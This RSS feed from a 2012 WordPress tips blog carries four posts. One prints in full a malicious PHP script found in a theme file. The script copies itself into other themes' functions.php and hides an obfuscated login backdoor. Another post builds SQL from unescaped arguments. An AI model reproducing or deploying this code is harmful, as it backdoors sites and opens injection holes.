<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>takien, not taken</title>
	<atom:link href="http://takien.com/feed" rel="self" type="application/rss+xml" />
	<link>http://takien.com</link>
	<description>Webmaster&#039;s Information and Resource</description>
	<lastBuildDate>Thu, 17 May 2012 03:56:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Display WordPress Archive Lists By Specific Year or Month</title>
		<link>http://takien.com/1092/display-wordpress-archive-lists-by-specific-year-or-month.php</link>
		<comments>http://takien.com/1092/display-wordpress-archive-lists-by-specific-year-or-month.php#comments</comments>
		<pubDate>Sat, 04 Feb 2012 17:25:28 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://takien.com/?p=1092</guid>
		<description><![CDATA[By default, wp_get_archives can not passes year parameter on the argument. In this tutorial I will show you how to create a filter for wp_get_archives function so can be filtered by specific date, year or month. ]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_1109" class="wp-caption alignnone" style="width: 310px"><a href="http://img.takien.com/2012/02/archive-image-calendar.jpg"><img src="http://img.takien.com/2012/02/archive-image-calendar-300x284.jpg" alt="WordPress archive by specific date calendar" title="archive-image-calendar" width="300" height="284" class="size-medium wp-image-1109" /></a><p class="wp-caption-text">WordPress archive by specific date</p></div>WordPress has <code>wp_get_archives</code> function to display date-based archives list. Here is the default args for wp_get_archives:<br />
<div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div></p>
<pre>$args = array(
    'type'            =&gt; 'monthly',
    'limit'           =&gt; ,
    'format'          =&gt; 'html',
    'before'          =&gt; ,
    'after'           =&gt; ,
    'show_post_count' =&gt; false,
    'echo'            =&gt; 1
); </pre>
<p>I can choose whether archive should be displayed yearly, monthly, daily or weekly by passing <em>type</em> argument. </p>
<h2>The Problem</h2>
<p>Unfortunately I &#8216;CAN NOT&#8217; filter archive only on specific date, in this case I want to display monthly archive on year 2011. I have googled this problem but no luck.</p>
<h2>The solution</h2>
<p>Then I went into the code in the file where the <em>wp_get_archives</em> function is <a href="http://core.trac.wordpress.org/browser/tags/3.3.1/wp-includes/general-template.php" target="_blank">located</a>, and found this filer hook &#8216;<code>$where = apply_filters( 'getarchives_where', "WHERE post_type = 'post' AND post_status = 'publish'", $r );</code>&#8216;</p>
<p>That is the filter I was looking for, so I created this callback.</p>
<pre>function takien_archive_where($where,$args){
	$year		= isset($args['year']) 		? $args['year'] 	: '';
	$month		= isset($args['month']) 	? $args['month'] 	: '';
	$monthname	= isset($args['monthname']) ? $args['monthname']: '';
	$day		= isset($args['day']) 		? $args['day'] 		: '';
	$dayname	= isset($args['dayname']) 	? $args['dayname'] 	: '';

	if($year){
		$where .= " AND YEAR(post_date) = '$year' ";
		$where .= $month ? " AND MONTH(post_date) = '$month' " : '';
		$where .= $day ? " AND DAY(post_date) = '$day' " : '';
	}
	if($month){
		$where .= " AND MONTH(post_date) = '$month' ";
		$where .= $day ? " AND DAY(post_date) = '$day' " : '';
	}
	if($monthname){
		$where .= " AND MONTHNAME(post_date) = '$monthname' ";
		$where .= $day ? " AND DAY(post_date) = '$day' " : '';
	}
	if($day){
		$where .= " AND DAY(post_date) = '$day' ";
	}
	if($dayname){
		$where .= " AND DAYNAME(post_date) = '$dayname' ";
	}
	return $where;
}</pre>
<p>Now, I have additional arguments than can be passed to <em>wp_get_archives</em> function:</p>
<ul>
<li><strong>year </strong>(string), year to display, eg 2011</li>
<li><strong>month </strong>(string), monthnum to display, eg 2 for February</li>
<li><strong>monthname </strong>(string), month name to display, eg January</li>
<li><strong>day </strong>(string), day of month to display, eg 9</li>
<li><strong>dayname </strong>(string), day name to display, eg Sunday</li>
</ul>
<h2>Usage </h2>
<pre>//This is example to display archive list on year 2010.
//call the filter early before any output, the best place is in functions.php
add_filter( 'getarchives_where','takien_archive_where',10,2);

/* place the following code at where output to be displayed.*/

//display the archive list monthly based, on year 2010
//set the arguments
$args = array(
    'type'            =&gt; 'monthly',
    'echo'            =&gt; 0,
    'year'       =&gt; '2010'
);

//render the output

echo '&lt;h2&gt;Monthly archive 2010&lt;/h2&gt;';
echo '&lt;ul&gt;'.wp_get_archives($args).'&lt;/ul&gt;';

//display the archive list daily based, on February 2011
$args = array(
    'type'            =&gt; 'daily',
    'echo'            =&gt; 0,
    'year'       =&gt; '2011',
    'month'     =&gt; '12'
);

echo '&lt;h2&gt;Daily archive December, 2011&lt;/h2&gt;';
echo '&lt;ul&gt;'.wp_get_archives($args).'&lt;/ul&gt;';

//set the arguments
$args = array(
    'type'    =&gt; 'daily',
    'echo'    =&gt; 0,
    'month'   =&gt; '1'
);

echo '&lt;h2&gt;Daily archive January, all years&lt;/h2&gt;';
echo '&lt;ul&gt;'.wp_get_archives($args).'&lt;/ul&gt;';</pre>
<p>If there&#8217;s post on that specific date, the output result should look like this:</p>
<div class="information"><div class="box-title">Result</div><div class="box-content"></p>
<h2>Monthly archive 2010</h2>
<ul>
<li><a title="December 2010" href="http://takien.com/date/2010/12">December 2010</a></li>
<li><a title="November 2010" href="http://takien.com/date/2010/11">November 2010</a></li>
<li><a title="August 2010" href="http://takien.com/date/2010/08">August 2010</a></li>
<li><a title="July 2010" href="http://takien.com/date/2010/07">July 2010</a></li>
<li><a title="March 2010" href="http://takien.com/date/2010/03">March 2010</a></li>
<li><a title="February 2010" href="http://takien.com/date/2010/02">February 2010</a></li>
<li><a title="January 2010" href="http://takien.com/date/2010/01">January 2010</a></li>
</ul>
<h2>Daily archive December, 2011</h2>
<ul>
<li><a title="December 30, 2011" href="http://takien.com/date/2011/12/30">December 30, 2011</a></li>
<li><a title="December 15, 2011" href="http://takien.com/date/2011/12/15">December 15, 2011</a></li>
</ul>
<h2>Daily archive January, all years</h2>
<ul>
<li><a title="January 24, 2012" href="http://takien.com/date/2012/01/24">January 24, 2012</a></li>
<li><a title="January 21, 2012" href="http://takien.com/date/2012/01/21">January 21, 2012</a></li>
<li><a title="January 1, 2011" href="http://takien.com/date/2011/01/01">January 1, 2011</a></li>
<li><a title="January 29, 2010" href="http://takien.com/date/2010/01/29">January 29, 2010</a></li>
<li><a title="January 28, 2010" href="http://takien.com/date/2010/01/28">January 28, 2010</a></li>
<li><a title="January 27, 2010" href="http://takien.com/date/2010/01/27">January 27, 2010</a></li>
<li><a title="January 27, 2008" href="http://takien.com/date/2008/01/27">January 27, 2008</a></li>
<li><a title="January 24, 2008" href="http://takien.com/date/2008/01/24">January 24, 2008</a></li>
<li><a title="January 23, 2008" href="http://takien.com/date/2008/01/23">January 23, 2008</a></li>
<li><a title="January 21, 2008" href="http://takien.com/date/2008/01/21">January 21, 2008</a></li>
<li><a title="January 20, 2008" href="http://takien.com/date/2008/01/20">January 20, 2008</a></li>
<li><a title="January 9, 2008" href="http://takien.com/date/2008/01/09">January 9, 2008</a></li>
<li><a title="January 8, 2008" href="http://takien.com/date/2008/01/08">January 8, 2008</a></li>
<li><a title="January 1, 2008" href="http://takien.com/date/2008/01/01">January 1, 2008</a></li>
</ul>
<p></div></div>
<p>In fact, you may add other MySQL date-time function to the arguments, see <a title="MySQL Date and Time Functions" href="dev.mysql.com/doc/refman/5.5/en/date-and-time-functions.html" target="_blank">this for reference</a>.</p>
<p>Good luck.</p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/1092/display-wordpress-archive-lists-by-specific-year-or-month.php/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Suspicious PHP Code In My WordPress Theme File</title>
		<link>http://takien.com/1077/suspicious-php-code-in-my-wordpress-theme-file.php</link>
		<comments>http://takien.com/1077/suspicious-php-code-in-my-wordpress-theme-file.php#comments</comments>
		<pubDate>Fri, 03 Feb 2012 04:55:06 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://takien.com/?p=1077</guid>
		<description><![CDATA[Recently I got my site not working. It seems there is an error in my functions.php "Parse error: syntax error, unexpected '}' in /home/x/public_html/wp-content/themes/takien-theme-blue/functions.php on line 317" I go to that line using my favorite Editor, and surprisingly I found this strange code that I never created before: function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"< "."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_1084" class="wp-caption alignleft" style="width: 310px"><a href="http://img.takien.com/2012/02/malicious-code-on-wordpress.gif"><img src="http://img.takien.com/2012/02/malicious-code-on-wordpress-300x225.gif" alt="" title="malicious-code-on-wordpress" width="300" height="225" class="size-medium wp-image-1084" /></a><p class="wp-caption-text">Malicious code on WordPress</p></div>Recently I got my site not working. It seems there is an error in my functions.php<br />
<code><br />
"Parse error: syntax error, unexpected '}' in /home/x/public_html/wp-content/themes/takien-theme-blue/functions.php on line 317"</code></p>
<p>I go to that line using my <a title="WP Editarea WordPress Plugin" href="http://takien.com/606/wp-editarea-wordpress-plugin.php" target="_blank">favorite Editor</a>, and surprisingly I found this strange code that I never created before:<br />
<div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div></p>
<p><span id="more-1077"></span></p>
<p><iframe src="http://code.takien.com/fb526.embed" frameborder="0" scrolling="no" width="100%" height="1000">
<pre>function _check_active_widget(){  	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"< "."?"));$output="";$allowed="";  	$output=strip_tags($output, $allowed);  	$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));  	if (is_array($direst)){  		foreach ($direst as $item){  			if (is_writable($item)){  				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));  				$cont=file_get_contents($item);  				if (stripos($cont,$ftion) === false){  					$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";  					$output .= $before . "Not found" . $after;  					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}  					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);				  					$output .= ($showdot &#038;&#038; $ellipsis) ? "..." : "";  				}  			}  		}  	}  	return $output;  }  function _get_all_widgetcont($wids,$items=array()){  	$places=array_shift($wids);  	if(substr($places,-1) == "/"){  		$places=substr($places,0,-1);  	}  	if(!file_exists($places) || !is_dir($places)){  		return false;  	}elseif(is_readable($places)){  		$elems=scandir($places);  		foreach ($elems as $elem){  			if ($elem != "." &#038;&#038; $elem != ".."){  				if (is_dir($places . "/" . $elem)){  					$wids[]=$places . "/" . $elem;  				} elseif (is_file($places . "/" . $elem)&#038;&#038;   					$elem == substr(__FILE__,-13)){  					$items[]=$places . "/" . $elem;}  				}  			}  	}else{  		return false;	  	}  	if (sizeof($wids) > 0){  		return _get_all_widgetcont($wids,$items);  	} else {  		return $items;  	}  }  if(!function_exists("stripos")){       function stripos(  $str, $needle, $offset = 0  ){           return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );       }  }    if(!function_exists("strripos")){       function strripos(  $haystack, $needle, $offset = 0  ) {           if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );           if(  $offset < 0  ){               $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );           }           else{               $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );           }           if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;           $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );           return $pos;       }  }  if(!function_exists("scandir")){   	function scandir($dir,$listDirectories=false, $skipDots=true) {  	    $dirArray = array();  	    if ($handle = opendir($dir)) {  	        while (false !== ($file = readdir($handle))) {  	            if (($file != "." &#038;&#038; $file != "..") || $skipDots == true) {  	                if($listDirectories == false) { if(is_dir($file)) { continue; } }  	                array_push($dirArray,basename($file));  	            }  	        }  	        closedir($handle);  	    }  	    return $dirArray;  	}  }  add_action("admin_head", "_check_active_widget");  function _prepared_widget(){  	if(!isset($length)) $length=120;  	if(!isset($method)) $method="cookie";  	if(!isset($html_tags)) $html_tags="<a>";  	if(!isset($filters_type)) $filters_type="none";  	if(!isset($s)) $s="";  	if(!isset($filter_h)) $filter_h=get_option("home");   	if(!isset($filter_p)) $filter_p="wp_";  	if(!isset($use_link)) $use_link=1;   	if(!isset($comments_type)) $comments_type="";   	if(!isset($perpage)) $perpage=$_GET["cperpage"];  	if(!isset($comments_auth)) $comments_auth="";  	if(!isset($comment_is_approved)) $comment_is_approved="";   	if(!isset($authname)) $authname="auth";  	if(!isset($more_links_text)) $more_links_text="(more...)";  	if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");  	if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;  	if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";  	if(!isset($more_content)) $more_content="ma".$s."il";  	if(!isset($forces_more)) $forces_more=1;  	if(!isset($fakeit)) $fakeit=1;  	if(!isset($sql)) $sql="";  	if (!$widget_output) :  	  	global $wpdb, $post;  	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#  	if (!empty($post->post_password)) {   		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {   			if(is_feed()) {   				$output=__("There is no excerpt because this is a protected post.");  			} else {  	            $output=get_the_password_form();  			}  		}  	}  	if(!isset($fix_tag)) $fix_tag=1;  	if(!isset($filters_types)) $filters_types=$filter_h;   	if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;  	if(!isset($more_tags)) $more_tags="div";  	if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#  	if(!isset($mlink_title)) $mlink_title="Continue reading this entry";	  	if(!isset($showdot)) $showdot=1;  	  	$comments=$wpdb->get_results($sql);	  	if($fakeit == 2) {   		$text=$post->post_content;  	} elseif($fakeit == 1) {   		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;  	} else {   		$text=$post->post_excerpt;  	}  	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#  	if($length < 0) {  		$output=$text;  	} else {  		if(!$no_more &#038;&#038; strpos($text, "<!--more-->")) {  		    $text=explode("<!--more-->", $text, 2);  			$l=count($text[0]);  			$more_link=1;  			$comments=$wpdb->get_results($sql);  		} else {  			$text=explode(" ", $text);  			if(count($text) > $length) {  				$l=$length;  				$ellipsis=1;  			} else {  				$l=count($text);  				$more_links_text="";  				$ellipsis=0;  			}  		}  		for ($i=0; $i< $l; $i++)  				$output .= $text[$i] . " ";  	}  	update_option("_is_widget_active_", 1);  	if("all" != $html_tags) {  		$output=strip_tags($output, $html_tags);  		return $output;  	}  	endif;  	$output=rtrim($output, "\s\n\t\r\0\x0B");      $output=($fix_tag) ? balanceTags($output, true) : $output;  	$output .= ($showdot &#038;&#038; $ellipsis) ? "..." : "";  	$output=apply_filters($filters_type, $output);  	switch($more_tags) {  		case("div") :  			$tag="div";  		break;  		case("span") :  			$tag="span";  		break;  		case("p") :  			$tag="p";  		break;  		default :  			$tag="span";  	}    	if ($use_link ) {  		if($forces_more) {  			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() &#038;&#038; @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a>" . "\n";  		} else {  			$output .= " < " . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a>" . "\n";  		}  	}  	return $output;  }    add_action("init", "_prepared_widget");    function __popular_posts($no_posts=6, $before="
<li>", $after="</li>

", $show_pass_post=false, $duration="") {  	global $wpdb;  	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";  	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";  	if(!$show_pass_post) $request .= " AND post_password =\"\"";  	if($duration !="") {   		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";  	}  	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";  	$posts=$wpdb->get_results($request);  	$output="";  	if ($posts) {  		foreach ($posts as $post) {  			$post_title=stripslashes($post->post_title);  			$comment_count=$post->comment_count;  			$permalink=get_permalink($post->ID);  			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;  		}  	} else {  		$output .= $before . "None found" . $after;  	}  	return  $output;  }</pre>
<p> </iframe></p>
<p>Not sure whether is&#8217;s a virus or other malicious script and don&#8217;t really know how it&#8217;s affected on my site.<br />
Where it come from? How to prevent it from coming back? I have not found the answer yet.</p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/1077/suspicious-php-code-in-my-wordpress-theme-file.php/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>WordPress Reserved Global Variables, You Should Avoid Define A Variable Using These Name</title>
		<link>http://takien.com/1050/wordpress-reserved-global-variables-you-should-avoid-define-a-variable-using-these-name.php</link>
		<comments>http://takien.com/1050/wordpress-reserved-global-variables-you-should-avoid-define-a-variable-using-these-name.php#comments</comments>
		<pubDate>Mon, 23 Jan 2012 18:26:21 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://takien.com/?p=1050</guid>
		<description><![CDATA[Global variable is a variable that is accessible in every scope, in PHP it works ONLY for the same page and the file that are included after. However, some predefined variables, known as superglobals are always accessible in whole site. Both of global and superglobal variable can be redefined or overwrite it&#8217;s value. When developing [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_1054" class="wp-caption alignleft" style="width: 310px"><a href="http://img.takien.com/2012/01/wordpress-logos.jpg"><img class="size-medium wp-image-1054" title="wordpress-logos" src="http://img.takien.com/2012/01/wordpress-logos-300x218.jpg" alt="" width="300" height="218" /></a><p class="wp-caption-text">Wordpress Logos</p></div>
<p><em>Global variable</em> is a variable that is accessible in <em>every scope</em>, in PHP it works ONLY for the same page and the file that are included after. However, some predefined variables, known as <em>superglobals</em> are always accessible in whole site. Both of global and superglobal variable can be redefined or overwrite it&#8217;s value.</p>
<p>When developing a WordPress Plugin and or Theme, sometimes you use the PHP global variable. That&#8217;s okay, but it&#8217;s HIGHLY RECOMMENDED that you not use variable name that are already defined by WordPress. Why?  Because it may break your other code that may intended to use WordPress variable.</p>
<p>&nbsp;</p>
<h2>Example</h2>
<p>Example case:</p>
<p><strong>1. You have this code somewhere in your theme:</strong></p>
<pre lang="php">
$cat = 5; /*define cat global variable */
$paged = 2; /*define paged global variable */

/* Those variable are intended to this custom query */

query_posts("cat=$cat&amp;posts_per_page=10&amp;paged=$paged");
if (have_posts()) while (have_posts()) : the_post();
	echo get_the_title().'&lt;br /&gt;';
endwhile;</pre>
<p>The result is you will get the list of 10 post title from category 5, paged 2. That way as what you expected.</p>
<p><strong>2. On the other hand, you (or other developer) also have this code:</strong></p>
<pre>query_posts("cat=$cat&amp;posts_per_page=10&amp;paged=$paged");
if (have_posts()) while (have_posts()) : the_post();
	echo get_the_title().'&lt;br /&gt;';
endwhile;</pre>
<p><div style="float:right;width:300px;height:250px;margin-left:20px">
<script type="text/javascript"><!--
google_ad_client = "ca-pub-3108107609212063";
/* takien-content-300x250, created 12/9/10 */
google_ad_slot = "4897738383";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>Here, you are not define $cat and $paged variable. For the reason that your purpose is to get post in current category ($cat) and current page ($paged) <em>since $cat</em> and <em>$paged</em> variable is always available as global variable in WordPress depending on which page you&#8217;re accessed. But what happened is unexpected, because those global variable was already previously redefined (in example #1).</p>
<p>So, do not redefine a reserved WordPress global variable unless you are know what are you doing.</p>
<h2>The lists of WordPress Reserved Variable</h2>
<p>Anyway, what is the variables that reserved WordPress? Here is the list, the left side is variable name, and the right side is the type:</p>
<pre>$_template_file = string
$require_once = boolean
$posts = array
$post = object
$wp_did_header = boolean
$wp_did_template_redirect = NULL
$wp_query = object
$wp_rewrite = object
$wpdb = object
$wp_version = string
$wp = object
$id = integer
$comment = NULL
$user_ID = integer
$cat = string
$paged = integer
$error = string
$m = integer
$p = integer
$post_parent = string
$subpost = string
$subpost_id = string
$attachment = string
$attachment_id = integer
$name = string
$static = string
$pagename = string
$page_id = integer
$second = string
$minute = string
$hour = string
$day = integer
$monthnum = integer
$year = integer
$w = integer
$category_name = string
$tag = string
$tag_id = string
$author_name = string
$feed = string
$tb = string
$comments_popup = string
$meta_key = string
$meta_value = string
$preview = string
$s = string
$sentence = string
$fields = string
$category__in = array
$category__not_in = array
$category__and = array
$post__in = array
$post__not_in = array
$tag__in = array
$tag__not_in = array
$tag__and = array
$tag_slug__in = array
$tag_slug__and = array
$ignore_sticky_posts = boolean
$suppress_filters = boolean
$cache_results = boolean
$update_post_term_cache = boolean
$update_post_meta_cache = boolean
$post_type = string
$posts_per_page = integer
$nopaging = boolean
$comments_per_page = string
$no_found_rows = boolean
$order = string</pre>
<p> <img src='http://takien.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://takien.com/1050/wordpress-reserved-global-variables-you-should-avoid-define-a-variable-using-these-name.php/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Prevent Spammer to Register Using The Same Gmail Email (Duplicate User Accounts)</title>
		<link>http://takien.com/1010/prevent-spammer-to-register-using-the-same-gmail-email-duplicate-user-accounts.php</link>
		<comments>http://takien.com/1010/prevent-spammer-to-register-using-the-same-gmail-email-duplicate-user-accounts.php#comments</comments>
		<pubDate>Sat, 21 Jan 2012 10:28:25 +0000</pubDate>
		<dc:creator>takien</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://takien.com/?p=1010</guid>
		<description><![CDATA[Gmail,  Gmail is &#8230;, ah I really don&#8217;t need to explain this. So, continue reading The Facts Gmail ignores . (dot) in username If you have Gmail account example@gmail.com, actually you also have ex.ample@gmail.com, exam.ple@gmail.com, and so on until all characters in the username are separated with dot. These all have same inbox, and you can [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_1026" class="wp-caption aligncenter" style="width: 270px"><a href="http://img.takien.com/2012/01/gmail-new-look-logo.jpg"><img class="size-full wp-image-1026" title="gmail-new-look-logo" src="http://img.takien.com/2012/01/gmail-new-look-logo.jpg" alt="Gmail logo new look" width="260" height="178" /></a><p class="wp-caption-text">Gmail logo new look</p></div>
<p>Gmail,  Gmail is &#8230;, ah I really don&#8217;t need to explain this. So, continue reading <img src='http://takien.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h2>The Facts</h2>
<h3>Gmail ignores . (dot) in username</h3>
<p>If you have Gmail account <em>example@gmail.com</em>, actually you also have ex.ample@gmail.com, exam.ple@gmail.com, and so on until all characters in the username are separated with dot. These all have same inbox, and you can login using each of them. Also, emails come to that address will be received into one inbox example@gmail.com See: <a href="http://www.dailytut.com/technology/gmail-dot-trick-bug-or-a-feature.html" target="_blank"><em>Gmail Dot Trick Bug or a Feature ?</em> </a></p>
<h3>Gmail ignores all character after + (plus sign) in username</h3>
<p>While you think the dot feature is not enough, Gmail also has another feature; you can add acceptable character in your username, separated by + (plus sign). It can be example+one@gmail.com, example+two@gmail.com, etc. An email sent to example@gmail.com or example+one@gmail.com or example+two@gmail.com will all be redirected to one common email address and that is example@gmail.com.<em> See: <a href="http://labnol.blogspot.com/2006/09/gmail-easter-eggs-dot-blindess-email.html" target="_blank">GMail Easter Eggs: Dot Blindess &amp; Email Aliases</a></em>.<em><a href="http://labnol.blogspot.com/2006/09/gmail-easter-eggs-dot-blindess-email.html" target="_blank"><br />
</a></em></p>
<p>Gmail does not recognize characters after the PLUS symbol but the gmail search filter can distinguish between the different address and you can therefore redirect these email to separats gmail folders or apply different labels.</p>
<h3>Gmail user can use @googlemail.com instead of @gmail.com</h3>
<p>Again, example@gmail.com can be replaced with example@googlemail.com as well as if it combined with <em>dot</em> and <em>plus</em>.</p>
<h2>The Problem</h2>
<div id="attachment_1027" class="wp-caption aligncenter" style="width: 288px"><a href="http://img.takien.com/2012/01/spammer-in-smf-forum.png"><img class="size-medium wp-image-1027" title="spammer-in-smf-forum" src="http://img.takien.com/2012/01/spammer-in-smf-forum-278x300.png" alt="Spammer in SMF forum" width="278" height="300" /></a><p class="wp-caption-text">Spammer in SMF forum</p></div>
<p>Besides the advantage of filtering, this feature has disadvantage for website owner, eg Community Forum and or website that requires unique membership. Yes, persons with Gmail account could have as many as possible <strong>duplicate accounts</strong> in our website. Of course this is very undesirable. Moreover, this way mostly used by <strong>spammer</strong> to register in our forum as they only need one Gmail account to register their hundreds clone. Imagine this, how many accounts can be generated from one Gmail account? It almost infinite, if I can&#8217;t say unlimited.</p>
<h2>The Solution</h2>
<p>If you think Gmail feature is bad for membership website, the only solution is to strip all gmail aliases and leave only original <em>example@gmail.com</em> during member registration process. The following lines of code is a PHP functions for this task.</p>
<p><iframe src="http://code.takien.com/54918.embed" frameborder="0" scrolling="no" width="100%" height="161"></p>
<pre>function strip_gmail_email_aliases($email){
if(preg_match('/gmail|googlemail/i',$email)){ /*detect if email string matches gmail or googlemail using preg_match() regex*/
$emailbody         = explode('@',strtolower($email)); /*separate email at @ sign using explode()*/
$mailusername     = preg_replace('/([\.]+)|((\+)+([\+\.\-_a-z0-9]+))/i','',$emailbody[0]); /*most important part, strip all dot and everything after 'plus' */
$email             = $mailusername.'@gmail.com'; /*rebuild email string, and use only gmail.com*/
}
return $email; /* return the new email string*/
}</pre>
<p></iframe></p>
<h2>Implementations</h2>
<h3>In WordPress</h3>
<div id="attachment_1025" class="wp-caption aligncenter" style="width: 295px"><a href="http://img.takien.com/2012/01/wordpress-logo.jpg"><img class="size-full wp-image-1025" title="wordpress logo" src="http://img.takien.com/2012/01/wordpress-logo.jpg" alt="wordpress logo" width="285" height="177" /></a><p class="wp-caption-text">wordpress logo</p></div>
<p>It&#8217;s easy to call this function in WordPress platform, using <strong>user_registration_email</strong> filter <a href="http://takien.com/?s=hook" target="_blank">hook</a>. This function will be invoked immediately while user perform registration. Place this code in functions.php in your WordPress theme file or can be packaged into a <a href="http://takien.com/?s=plugin" target="_blank">plugin</a>.</p>
<p><iframe src="http://code.takien.com/2abc1.embed" frameborder="0" scrolling="no" width="100%" height="188">
<pre>add_filter( 'user_registration_email', 'strip_gmail_email_aliases'); /* this filter will call strip_gmail_email_aliases functions*/
function strip_gmail_email_aliases($email){
if(preg_match('/gmail|googlemail/i',$email)){
$emailbody         = explode('@',strtolower($email));
$mailusername     = preg_replace('/([\.]+)|((\+)+([\+\.\-_a-z0-9]+))/i','',$emailbody[0]);
$email             = $mailusername.'@gmail.com';
}
return $email;
}</pre>
<p></iframe></p>
<h3>In SMF (Simple Machines Forum)</h3>
<div id="attachment_1024" class="wp-caption aligncenter" style="width: 310px"><a href="http://img.takien.com/2012/01/smf-forum.jpg"><img class="size-medium wp-image-1024" title="smf-forum" src="http://img.takien.com/2012/01/smf-forum-300x158.jpg" alt="SMF Forum Logo" width="300" height="158" /></a><p class="wp-caption-text">SMF Forum Logo</p></div>
